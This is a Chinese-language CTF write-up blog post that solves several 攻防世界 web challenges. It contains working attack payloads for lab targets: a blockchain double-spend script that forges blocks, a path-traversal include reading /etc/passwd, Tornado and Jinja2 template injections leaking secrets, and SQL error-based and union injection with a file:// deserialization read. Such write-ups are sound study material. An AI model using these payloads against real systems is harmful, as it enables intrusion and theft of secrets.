D~DIDI~DIDIDI!!!!

0%

攻防世界WEB

Web_python_block_chain

在攻防世界题目复现里没有提示,大佬的wp写的很详细,直接抄了,没接触过区块链

https://xuanxuanblingbling.github.io/ctf/web/2018/05/01/DDCTF2018-WEB4-区块链/

题目提示: 某银行利用区块链技术,发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成钻石的销售与清算过程。不幸的是,该银行被黑客入侵,私钥被窃取,维持区块链正常运转的矿机也全部宕机。现在,你能追回所有DDCoins,并且从商店购买2颗钻石么?

注意事项:区块链是存在cookie里的,可能会因为区块链太长,浏览器不接受服务器返回的set-cookie字段而导致区块链无法更新,因此强烈推荐写脚本发请求

双花攻击

在比特币网络里,你有多少钱,不是你说了算,而是大家说了算,每个人都是公证人。”基于算力证明进行维护的比特币网络一直以来有一个重大的理论风险:如果有人掌握了巨大的计算资源(超过全网过半的算力),他就可以通过强大的算力篡改区块链上的账本,从而控制整个共识网络。这也被称为51%攻击,虽然这种攻击发生的可能性不是很大(掌握这种算力的人本身就可以通过挖矿获得巨大受益,再去冒险篡改账本很容易暴露自身)。仍然是理论上看:一旦这种攻击被发现,比特币网络其他终端可以联合起来对已知的区块链进行硬分叉,全体否认非法的交易。

51%攻击解析

比特币是如何防范双花的?

区块链基础知识

关于区块链的一些基础知识,单独有博客,所以这里就没有了

题目分析

页面打开,是一系列json数据

1

将代码格式化:

代码格式化站点:https://www.html.cn/tool/js_beautify/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
hash of genesis block: 8cfb0301000286c266a3d29d78c498ade17556412afcf7135e842ffa127d735f
the bank's addr: 8f6eb934cceca2dede3b315f04d0f445c518f29a02cce8f3656b9fb0a75eed62a2ac4dd13866a6b6d87ca89b0d9ae9bd,
the hacker's addr: f7a1e95baf45e7d0a0f636b5fc786b5c3e9056a7a3092225edd017baf1768afedc484f6b6ffc1f90971d87c459a4a4ef,
the shop's addr: ab87c82cff6cf5233aba04d83a12cbc77a6540e5715506a087b9a193e4f11679da75076335210c93b1e64486d6535221
Balance of all addresses: { "ab87c82cff6cf5233aba04d83a12cbc77a6540e5715506a087b9a193e4f11679da75076335210c93b1e64486d6535221": 0, "8f6eb934cceca2dede3b315f04d0f445c518f29a02cce8f3656b9fb0a75eed62a2ac4dd13866a6b6d87ca89b0d9ae9bd": 1, "f7a1e95baf45e7d0a0f636b5fc786b5c3e9056a7a3092225edd017baf1768afedc484f6b6ffc1f90971d87c459a4a4ef": 999999
}
All utxos: {
"77d972a7-cc90-439a-bc77-594744c89ee7": {
"amount": 999999,
"hash": "3ff39c9b8b306f9c1bf0787911bf47ebd28d60c2fbe17904b1e51c3980c0cc3a",
"addr": "f7a1e95baf45e7d0a0f636b5fc786b5c3e9056a7a3092225edd017baf1768afedc484f6b6ffc1f90971d87c459a4a4ef",
"id": "77d972a7-cc90-439a-bc77-594744c89ee7"
},
"ef68b7d9-4f69-40a5-a90c-f6fefdf5e635": {
"amount": 1,
"hash": "c711176969c028d475e412e52995df80fe9b10ea1f13962a0e4ef78caf63453b",
"addr": "8f6eb934cceca2dede3b315f04d0f445c518f29a02cce8f3656b9fb0a75eed62a2ac4dd13866a6b6d87ca89b0d9ae9bd",
"id": "ef68b7d9-4f69-40a5-a90c-f6fefdf5e635"
}
}
Blockchain Explorer: {
"4aecfdc138e39e386cf2aad65bd950d59a742121cf874ff1cb8c036a87816980": {
"nonce": "HAHA, I AM THE BANK NOW!",
"prev": "8cfb0301000286c266a3d29d78c498ade17556412afcf7135e842ffa127d735f",
"hash": "4aecfdc138e39e386cf2aad65bd950d59a742121cf874ff1cb8c036a87816980",
"transactions": [{
"input": ["79172010-b080-4ad9-b8b2-ba72c232da20"],
"signature": ["2afcf49a14934bb070b10aa687e3a209c55bacbe318e30300234779e837f012ec97de502872ab058f1070614ec4fd87b"],
"hash": "ce7a7f0a48cc3cc9266227726ce7b7c9fcd90734f86c765f9a24b2040f1bdc9e",
"output": [{"amount": 999999, "hash": "3ff39c9b8b306f9c1bf0787911bf47ebd28d60c2fbe17904b1e51c3980c0cc3a",
"addr": "f7a1e95baf45e7d0a0f636b5fc786b5c3e9056a7a3092225edd017baf1768afedc484f6b6ffc1f90971d87c459a4a4ef",
"id": "77d972a7-cc90-439a-bc77-594744c89ee7"
}, {
"amount": 1,
"hash": "c711176969c028d475e412e52995df80fe9b10ea1f13962a0e4ef78caf63453b",
"addr": "8f6eb934cceca2dede3b315f04d0f445c518f29a02cce8f3656b9fb0a75eed62a2ac4dd13866a6b6d87ca89b0d9ae9bd",
"id": "ef68b7d9-4f69-40a5-a90c-f6fefdf5e635"
}]
}],
"height": 1
},
"8cfb0301000286c266a3d29d78c498ade17556412afcf7135e842ffa127d735f": {
"nonce": "The Times 03/Jan/2009 Chancellor on brink of second bailout for bank",
"prev": "0000000000000000000000000000000000000000000000000000000000000000",
"hash": "8cfb0301000286c266a3d29d78c498ade17556412afcf7135e842ffa127d735f",
"transactions": [{
"input": [],
"signature": [],
"hash": "f95a2030b476c14e790b1b5560aa158111cf06d891d04c6cd942bd2b273201a1",
"output": [{
"amount": 1000000,
"hash": "d5e5cd514d2b5cf6cccb19d2253f115c39e8e71ea0f5cc1f9dc259219ecf3f82",
"addr": "8f6eb934cceca2dede3b315f04d0f445c518f29a02cce8f3656b9fb0a75eed62a2ac4dd13866a6b6d87ca89b0d9ae9bd",
"id": "79172010-b080-4ad9-b8b2-ba72c232da20"
}]
}],
"height": 0
},
"b47ac88e263795044afb5f92e62cc8fc659def91c158de5c13d70b6e127c8074": {
"nonce": "a empty block",
"prev": "4aecfdc138e39e386cf2aad65bd950d59a742121cf874ff1cb8c036a87816980",
"hash": "b47ac88e263795044afb5f92e62cc8fc659def91c158de5c13d70b6e127c8074",
"transactions": [],
"height": 2
}
}

再打开python源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
# encoding: utf-8 
# written in python 2.7
__author__ = 'garzon'

import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request
from pycallgraph import PyCallGraph
from pycallgraph import Config
from pycallgraph.output import GraphvizOutput

app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = ''

def FLAG():
return 'Here is your flag: DDCTF{******************}'

def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
return hash(hash(x)+hash(y))

def has_attrs(d, attrs):
if type(d) != type({}): raise Exception("Input should be a dict/JSON")
for attr in attrs:
if attr not in d:
raise Exception("{} should be presented in the input".format(attr))

EMPTY_HASH = '0'*64

def addr_to_pubkey(address):
return rsa.PublicKey(int(address, 16), 65537)

def pubkey_to_address(pubkey):
assert pubkey.e == 65537
hexed = hex(pubkey.n)
if hexed.endswith('L'): hexed = hexed[:-1]
if hexed.startswith('0x'): hexed = hexed[2:]
return hexed

def gen_addr_key_pair():
pubkey, privkey = rsa.newkeys(384)
return pubkey_to_address(pubkey), privkey

bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()

def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')

def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo

def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])

def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx

def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block

def find_blockchain_tail():
return max(session['blocks'].values(), key=lambda block: block['height'])

def calculate_utxo(blockchain_tail):
curr_block = blockchain_tail
blockchain = [curr_block]
while curr_block['hash'] != session['genesis_block_hash']:
curr_block = session['blocks'][curr_block['prev']]
blockchain.append(curr_block)
blockchain = blockchain[::-1]
utxos = {}
for block in blockchain:
for tx in block['transactions']:
for input_utxo_id in tx['input']:
del utxos[input_utxo_id]
for utxo in tx['output']:
utxos[utxo['id']] = utxo
return utxos

def calculate_balance(utxos):
balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
for utxo in utxos.values():
if utxo['addr'] not in balance:
balance[utxo['addr']] = 0
balance[utxo['addr']] += utxo['amount']
return balance

def verify_utxo_signature(address, utxo_id, signature):
try:
return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
except:
return False

def append_block(block, difficulty=int('f'*64, 16)):
has_attrs(block, ['prev', 'nonce', 'transactions'])

if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
tail = session['blocks'][block['prev']]
utxos = calculate_utxo(tail)

if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
new_utxo_ids = set()
for tx in block['transactions']:
has_attrs(tx, ['input', 'output', 'signature'])

for utxo in tx['output']:
has_attrs(utxo, ['amount', 'addr', 'id'])
if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
new_utxo_ids.add(utxo['id'])
if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
try:
addr_to_pubkey(utxo['addr'])
except:
raise Exception("invalid type of address({})".format(utxo['addr']))
utxo['hash'] = hash_utxo(utxo)
tot_output = sum([utxo['amount'] for utxo in tx['output']])

if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
tot_input = 0
tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
for utxo_id, signature in zip(tx['input'], tx['signature']):
if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
utxo = utxos[utxo_id]
if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
tot_input += utxo['amount']
del utxos[utxo_id]
if tot_output > tot_input:
raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
tx['hash'] = hash_tx(tx)

block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height']+1
if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
session['blocks'][block['hash']] = block
session.modified = True

def init():
if 'blocks' not in session:
session['blocks'] = {}
session['your_diamonds'] = 0
# First, the bank issued some DDCoins ...
total_currency_issued = create_output_utxo(bank_address, 1000000)
genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
session['genesis_block_hash'] = genesis_block['hash']
genesis_block['height'] = 0
session['blocks'][genesis_block['hash']] = genesis_block

# Then, the bank was hacked by the hacker ...
handout = create_output_utxo(hacker_address, 999999)
reserved = create_output_utxo(bank_address, 1)
transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)

# Can you buy 2 diamonds using all DDCoins?
third_block = create_block(second_block['hash'], 'a empty block', [])
append_block(third_block)

def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail

@app.route(url_prefix+'/')
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
balance_info = 'Balance of all addresses: ' + json.dumps(balance)
utxo_info = 'All utxos: ' + json.dumps(utxos)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))


@app.route(url_prefix+'/flag')
def getFlag():
init()
if session['your_diamonds'] >= 2: return FLAG()
return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address

def find_enough_utxos(utxos, addr_from, amount):
collected = []
for utxo in utxos.values():
if utxo['addr'] == addr_from:
amount -= utxo['amount']
collected.append(utxo['id'])
if amount <= 0: return collected, -amount
raise Exception('no enough DDCoins in ' + addr_from)

def transfer(utxos, addr_from, addr_to, amount, privkey):
input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
outputs = [create_output_utxo(addr_to, amount)]
if the_change != 0:
outputs.append(create_output_utxo(addr_from, the_change))
return create_tx(input_utxo_ids, outputs, privkey)

@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
balance, utxos, tail = get_balance_of_all()
if balance[bank_address] == 0: return 'The bank has no money now.'
try:
address = str(address)
addr_to_pubkey(address) # to check if it is a valid address
transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
append_block(new_block)
return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
except Exception, e:
return 'ERROR: ' + str(e)

DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)

balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg


# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
if 'blocks' in session: del session['blocks']
if 'genesis_block_hash' in session: del session['genesis_block_hash']
return 'reset.'

@app.route(url_prefix+'/source_code')
def show_source_code():
source = open('serve.py', 'r')
html = ''
for line in source:
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
source.close()
return html

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

在source code 中可以发现几个接口

  • \source_code:查看源码
  • \reset:重置记录
  • \create_transaction:接受post参数,创造一笔新的交易,并且检查商店的钱包中如果存在100w,则可以消耗100w得到一个钻石
  • \5ecr3t_free_D1diCoin_b@ckD00r/<string:address>:把银行剩余财产转移到指定账户
  • \flag:如果钻石个数大于等于两个,打印flag
  • 根目录:打印基本信息

sourcecode中的一些关键函数

构造

create_output_utxo

  • 输入:余额钱包地址,剩余金额
  • 返回:utxo数据块

create_tx

  • 输入:付款钱包utxo的id,收款钱包的utxo数据块,付款方的私钥
  • 返回:tx(交易)数据块

create_block

  • 输入:前一个区块的hash,调和参数nonce,tx数据块
  • 返回:一个区块

交易

transfer

  • 输入:全部utxo,付款地址,收款地址,金额
  • 返回:tx数据块

append_block

  • 输入:区块,难度系数
  • 返回:交易成功或者失败

校验

find_blockchain_tail

  • 输入:无
  • 返回:当前区块链中height值最高的块,即尾块

calculate_utxo

  • 输入:区块链的尾块
  • 返回:由尾块向上计算到创世块生成的全部utxo

calculate_balance

  • 输入:全部utxo
  • 返回:一个地址对应余额的字典

get_balance_of_all

  • 输入:无
  • 返回:余额字典,全部utxo,尾块

攻击思路

在这个区块链中,我们的余额每次通过get_balance_of_all()计算得到,这个函数会依次调用find_blockchain_tail()和calculate_utxo(),来重新由头去尾生成一个新的余额字典,

find_blockchain_tail()认为区块中height值最高的区块为尾块。而每个区块中的height值,由append_block()添加,这个函数会根据区块的前项hash,令本项区块的height为前一项区块的height值+1,由于append_block()并没有校验或者禁止多个区块的前项hash指向同一个区块,所以在整个区块链中是可以存在支链的。计算余额时就要以最长链为主。在这个题目中,如果两条支链长度相同,计算余额时会随机选取一个链,我们这里要构造双花攻击时,为了确保成功,构造的假链最好要比原始主链大一。

程序出事的区块链为:

创世块->黑客块->空块

构造方法一

这种办法只要POST空块即可,转账使用转账后门实现:

2

  • 当POST第三个空块时,主链改变,黑客提走的钱被追回,通过转账后门与POST触发新增两个区块,总长为六块
  • 接上第三个空块,POST到第六个空块时,主链再次改变,钱又重新回到银行,再次利用后门得到钻石

构造方法二

3

  • 伪造具有一个银行转给商店的交易记录的区块,这里要伪造tx数据块中的签名
  • 签名是通过tx数据库中的input(付款utxo的id)和付款方的私钥算出
  • 所以直接利用黑客块中的签名即可
  • 当POST到第三块时,主链改变,100w在商店余额中,自动触发购买钻石
  • 接上第三块,POST到第五块时主链再猜改变,自动触发购买钻石

攻击脚本

这里我们采取攻击思路二,通过分析init函数,可见一般构造一个区块要通过三个步骤:

  • reate_output_utxo:生成转出的utxo数据块,以及自己剩余的utxo数据块
  • create_tx:通过上两个utxo数据块以及付款钱包的utxo中的id和私钥生成transactions数据块(id和私钥一起计算签名)
  • create_block:利用生成的transaction数据,前一块的hash,以及nonce生成一块符合标准区块

通过三个API构造出如下函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def check_hash(prev,tx):
for i in range(10000000):
current_block=create_block(prev,str(i),tx)
block_hash = int(current_block['hash'], 16)
if block_hash<DIFFICULTY:
print json.dumps(current_block)
return current_block

def create_feak_one():
utxo_first=create_output_utxo(shop_addr,1000000)
tx_first=create_tx([bank_utox_id],[utxo_first])
return check_hash(prev_one,[tx_first])

def create_empty_block(prev):
return check_hash(prev,[])

  • check_hash:计算出符合难度系数的hash值的区块
  • create_feak_one:生成一个转账给商店的假块
  • create_empty_block:生成空块

生成攻击块:

a=create_feak_one()
b=create_empty_block(a[‘hash’])
c=create_empty_block(b[‘hash’])
d=create_empty_block(c[‘hash’])
e=create_empty_block(d[‘hash’])

整合脚本,这里我更改了create_tx方法中的签名的计算方法,直接把黑客块的签名写死到了该方法中,因为毕竟只需要伪造一个有转账记录的空块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
\# -- encoding: utf-8 --
\# written in python 2.7
import hashlib, json, rsa, uuid, os,requests,re
\# 一堆变量常量
url_root="http://111.198.29.45:36777/"
url_create="http://111.198.29.45:36777/create_transaction"
url_flag="http://111.198.29.45:36777/flag"
s=requests.Session()
ddcoin = s.get(url=url_root)
prev_one=re.search(*r*"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(*r*"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(*r*"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)
DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64
bank_addr="99615b8ddbb63d4dd83ddc8d808cb96346ac6bcdbaff771b7906b275e3289732d24eeb6eae93119e0b6567dc4566deeb"
hacke_addr="d3066b9b57e3c988acf8cc74071d5a6fdf9fefcb8a39c86c95f5b3e3ec4c78e5033756c421b58ead45e2cee33340f88b"
shop_addr="8dd8bb2aaa3179f94903d75d8d5a05ad2643f748cf54957939eadae2aec0164b730d20ca64b4cf20136781568b850177"

# 源码中的API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
return hash(hash(x)+hash(y))

def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

def hash_utxo(*utxo*):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], *str*(utxo['amount'])])

def hash_tx(*tx*):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])

def create_output_utxo(*addr_to*, *amount*):
utxo = {'id': *str*(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo

def create_tx(*input_utxo_ids*, *output_utxo*, *privkey_from*=None):
tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo} # 修改了签名
tx['hash'] = hash_tx(tx)

return tx



def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block

\# 构造的方法
def check_hash(prev,tx):
for i in range(10000000):
current_block=create_block(prev,str(i),tx)
block_hash = *int*(current_block['hash'], 16)
if block_hash<DIFFICULTY:
print json.dumps(current_block)
return current_block

def create_feak_one():

utxo_first=create_output_utxo(shop_addr,1000000)

tx_first=create_tx([bank_utox_id],[utxo_first])

return check_hash(prev_one,[tx_first])

def create_empty_block(prev):

return check_hash(prev,[])

\# 攻击过程
a=create_feak_one()
print s.post(url=url_create,*data*=*str*(json.dumps(a))).content
b=create_empty_block(a['hash'])
print s.post(*url*=url_create,*data*=*str*(json.dumps(b))).content
c=create_empty_block(b['hash'])
print s.post(url=url_create,*data*=*str*(json.dumps(c))).content
d=create_empty_block(c['hash'])
print s.post(url=url_create,*data*=*str*(json.dumps(d))).content
e=create_empty_block(d['hash'])
print s.post*url=url_create,*data*=*str*(json.dumps(e))).content
print s.get(url=url_flag).content

运行脚本

4

warmup

5

访问得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

看一下代码,get提交了一个file参数,并设置了白名单,要求?以前的字符串要在白名单之中,那就直接构造就好了

http://111.198.29.45:52387/source.php?file=source.php?../../../../../etc/passwd

测试一下,访问成功

6

接下来直接访问hint.php提示得flag就好了

7

猜测应该就在根目录下,直接访问

http://111.198.29.45:52387/source.php?file=source.php?../../../../../ffffllllaaaagggg

8

Easytornado

9

10

11

给了flag文件的位置,和filehash生成方式,抓包没有发现cookie_secret

所以这s道题主要目的就是找到cookie_sercet

因为tornade是一个python得框架,随便修改一个页面

得filehash,进入了一个error页面,猜测可能可以模板注入

12

但是测试发现,这里基本上过过滤了所有可用字符emmmm

然后没有思路了,看了大佬的wp,在welcome.txt文件中其实有一个提示render,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页并访问。这道题目在操作时,其实参数也是传递这样传递过来的,在tornade模板中,也存在一些可以访问的快速对象,比如:

1
{{ escape(handler.settings["cookie"]) }}

1
{{}}

和这个字典对象,可知道,这个handler.settings对象就是我们完成这个题目进行模板注入时所需要的,cookie_secret就存放在handler.settings

于是,得到cookie_secret

1
http://111.198.29.45:33874/error?msg={{handler.settings}}

13

大佬的链接:https://blog.csdn.net/iamsongyu/article/details/83346029

接下来构造一下就好了

1
/file?filename=/fllllllllllllag&filehash=ecfb88a49b25851d92726d2fa8d78b7a

14

Shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import flask 
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(*debug*=True)

打开就有源码,格式化一下,然后审计

15

在shrine路由里,可能存在模板注入,试一试

16

确实存在,但是后面的测试中发现过滤了一些字符,重要的’(‘ 和 ‘)’也被过滤了,想办法绕过吧

查了很多资料~~~就剩 get_flashed_messages(), url_for() 可以用了,接下来就利用这个构造payload

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

17

Fakebook

进入页面,注册登陆,发现在view页面可能存在注入,测试了一下,确实是

18

这里利用报错注入

爆表名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

19

爆列名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

20

爆字段
/view.php?no=1 and updatexml(1,make_set(3,'~',(select no from users)),1)#

query error!

/view.php?no=1 and updatexml(1,make_set(3,'~',(select username from users)),1)#

22

/view.php?no=1 and updatexml(1,make_set(3,'~',(select passwd from users)),1)#

23

/view.php?no=1 and updatexml(1,make_set(3,'~',(select username from users)),1)#

24

在data这个字段里面发现存储的是,一个反序列化的内容,内容就是view.php所展示出来的username,age和blog,所以我们这里可以利用union注入一条新的信息,先看看当前页面view.php里面有啥

view.php?no=31 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"xianyu";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/view.php";}'#

25

看了些这几个文件都没有发现有flag的踪迹,于是谁便访问了一下flag.php,发现是存在这个文件的

26

然后依靠注入读到这个文件,得到flag

view.php?no=31 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"xianyu";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

在页面中就会包含flag文件

27

Smarty

